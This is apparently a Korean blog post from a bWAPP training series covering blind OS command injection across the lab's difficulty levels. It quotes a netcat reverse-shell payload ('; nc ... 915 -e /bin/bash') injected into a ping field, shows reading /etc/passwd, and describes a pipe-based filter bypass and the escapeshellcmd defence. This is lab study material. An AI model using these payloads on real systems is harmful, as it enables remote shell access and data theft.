웹 진단/bWAPP 실습

[A-1 Injection]OS Command Injection - Blind

보안개구리 2024. 6. 14. 11:36

https://facelight.tistory.com/68

 

[A-1 Injection]OS Command Injection

 OS Command Injection이라 하면 그동안 실습해왔던 Injection 공격 중 하나이며 OS Command 즉 시스템 명령어를 사용하는 방식이다.  먼저 commandi.php를 살펴보겠다.  왼쪽 사진은 난이도에 따라 적용되는..

facelight.tistory.com

 저번에 했던 방식과 유사해 보이는데 저번에는 nslookup을 통해 정보를 확인했다면 이번에는 ping 테스트를 하는 것 같다.

 사실 핑테스트나 nslookup이라는 차이점보다는 저번 시간은 cat 같은 명령어를 삽입해서 나오는 결과를 바로 확인할 수 있었다면 이번 시간에 경우는 Blind 방식으로 입력한 결과를 바로 확인할 수 없다.

 commandi_blind.php 파일을 먼저 살펴보겠다.

 

 여기서 알 수 있는것은 입력창을 공백으로 한 후 PING 버튼을 클릭 시 붉은 글씨로 IP를 입력하라고 나오고 그렇지 않은 경우는 모두 Did you captured out GOLDEN packet 메시지가 나온다고 한다.

 실제로 공백으로 둔 후 PING 버튼을 누르지 않는 이상 어떤 값을 입력해도 골든 패킷을 캡처했냐는 메시지만 나온다.

 결과를 확인하기 위해서는 여러 방법이 있겠으나 여기서 필자는 두 개의 가상머신(kali, beebox)를 이용하여 실습을 진행할 거다.

 

[Low Level]

  왼쪽 사진은 kali(192.162.200.128) 터미널 창으로 915번 포트를 열어둔 것이고 오른쪽 사진은  kali에서 bWAPP 웹에 접속한 후 명령어를 입력한 것으로 명령어는 ; nc 192.162.200.128 915 -e /bin/bash이다.

 즉 칼리에서 열어둔 포트로 들어가는데 이때 -e는 exec이며 /bin/bash쉘을 실행시킨다는 뜻이다

 

 그 후 kali 터미널 창에서 pwd, cat /etc/passwd 명령어를 입력하면 정상적으로 보이는 것을 알 수 있다.

 

 [Medium Level]

 같은 방법으로 실행해보겠다.

 저번 시간은 Medium Level에서 ';' 해당 특수문자를 필터링한다고 해서 파이프(|)를 대신 사용하였었다.

 이번 Blind 방식도 동일한데 LowLevel에서는 ;를 사용하였고 Medium Level에서는 |를 사용하면 성공적으로 실습할 수 있다.

 

[High Level]

 역시 전 방식과 동일하다

 High Level 경우는 commandi_check_2가 적용되는데 해당 함수의 내용은 다음과 같다.

function commandi_check_2($data)
{
    return escapeshellcmd($data);
}

 여기서 escapeshellcmd는 특정 문자들에 대하여 앞에 backslash가 추가해주는 기능을 한다

 따라서 우리가 기존에 사용하던 다중 명령어를 사용할 수 없어서 시스템 명령어 사용이 불가능해진다.